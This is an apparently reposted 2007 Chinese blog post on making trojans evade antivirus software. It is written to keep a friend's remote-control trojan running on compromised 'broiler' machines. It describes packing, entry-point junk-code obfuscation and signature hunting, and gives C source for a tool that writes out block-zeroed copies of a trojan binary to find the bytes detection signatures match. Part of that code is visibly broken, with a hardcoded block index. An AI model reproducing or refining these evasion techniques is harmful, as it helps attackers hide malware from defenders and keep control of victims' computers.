您的位置:首页 > 其它

打造你的无敌黑器--谈病毒木马的免杀技术

2007-01-12 20:46 429 查看
前两天一哥们抱怨:鸽子总是被杀,肉鸡丢的超级快。他建议我去做免杀。我开始也是一头雾水,但是看了别人的几个动画教程,加上自己的一点体会,总算也摸索除了自己的路子。

1.加壳 不消我说,最原始的免杀方法,操作简单。但是效果同样一般,我的经验表明,越新出来的壳顶的时间越长(废话),一些老壳几乎没用。现代杀毒软件都采用了内存扫描技术,脱壳后的毒很快会被杀,所以这招不是太好用

2.加花 一般是在病毒入口点做文章,使杀毒软件分辨不出程序的入口,自然无法去KILL,关于这方面的工具也不少,不过效果似乎仍然一般,也许需要自己去写花才好

3.本人的大拿:特征码免杀,其原理就是对文件进行K分,每一份都添零处理一部分,然后看看那一部分不杀了,说明特征码在这一部分中,再对这一部分进行K分.....直到找到所有特征码。但是这里存在一个问题,就是绝大部分时候一个毒有N个特征码,分布在病毒体的广大区域内。这时定位可能就得靠你自己手动完成了,我用的是蛮力搜索,从后往前慢慢去碰,什么时候毒被杀,特征码必然就在你这一次添零和上一次添零操作之间的那段区域中。慢慢找吧,总会找到

找到之后就是修改工作,如何把毒改既能躲过杀软又能正常运动那就看你自己了,这个没什么通法,全靠经验和水平

下面贴出我的这个简陋的找特征码工具的源代码:

#include<windows.h>
#include<stdio.h>
#include<memory.h>
int Size;
int counter;
void MultiplyGezi(char *GeziMap,int offset,int end)
{
HANDLE hGezi;
char *temp,*ptemp;
char NameBuf[20];
int length,blocksize,remainder,numWritten,count;
ptemp=temp=(char *)malloc(Size*sizeof(char));
if(end==-1)end=Size-1;
length=end-offset+1;
blocksize=length/counter;
remainder=length%counter;
count=counter;
while(counter!=0)
{
memcpy(temp,GeziMap,Size);
ptemp=temp+(counter-1)*blocksize+offset;
memset(ptemp,0,blocksize);
wsprintf(NameBuf,"%u--%u.exe",offset+blocksize*(counter-1),offset+blocksize*counter);
hGezi=CreateFile(NameBuf,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_NEW,FILE_ATTRIBUTE_NORMAL,NULL);
WriteFile(hGezi,temp,Size,&numWritten,NULL);
CloseHandle(hGezi);
counter--;
}
counter=count;
memcpy(temp,GeziMap,Size);
ptemp=temp+10*blocksize+offset;
memset(ptemp,0,remainder);
wsprintf(NameBuf,"%u--%u.exe",offset+counter*blocksize,offset+counter*blocksize+remainder);
hGezi=CreateFile(NameBuf,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_NEW,FILE_ATTRIBUTE_NORMAL,NULL);
WriteFile(hGezi,temp,Size,&numWritten,NULL);
CloseHandle(hGezi);
}

char *MapGezi(const char *GeziPath)
{
HANDLE hGezi;
int GeziSize,NumReaded;
char *bits;
hGezi=CreateFile(GeziPath,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(hGezi==INVALID_HANDLE_VALUE)
{
printf("invalid file!/n");
return NULL;
}
GeziSize=GetFileSize(hGezi,NULL);
Size=GeziSize;
bits=(char *)malloc(sizeof(char)*GeziSize);
ReadFile(hGezi,bits,GeziSize,&NumReaded,NULL);
if(NumReaded!=GeziSize)
{
free(bits);
return NULL;
}
CloseHandle(hGezi);
return bits;
}

void main()
{
int offset,end;
char *GeziMap;
printf("输入开始处理的偏移:/n");
scanf("%d",&offset);
printf("输入结束点的偏移:/n");
scanf("%d",&end);
printf("输入块数:/n");
scanf("%d",&counter);
GeziMap=MapGezi("c://hgzfix2.exe");
MultiplyGezi(GeziMap,offset,end);
}

MultiplyGezi(GeziMap,offset,end)的使用方法是:COUNTER为全局变量,指示块数,OFFSET为起始点,END为结束点,GEZIMAP为文件读入内存后的指针。

总结:其实三种方法综合运用可以作出更BT的黑器,先特征免杀,再加壳,再加花。。。。咔吧哭了
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: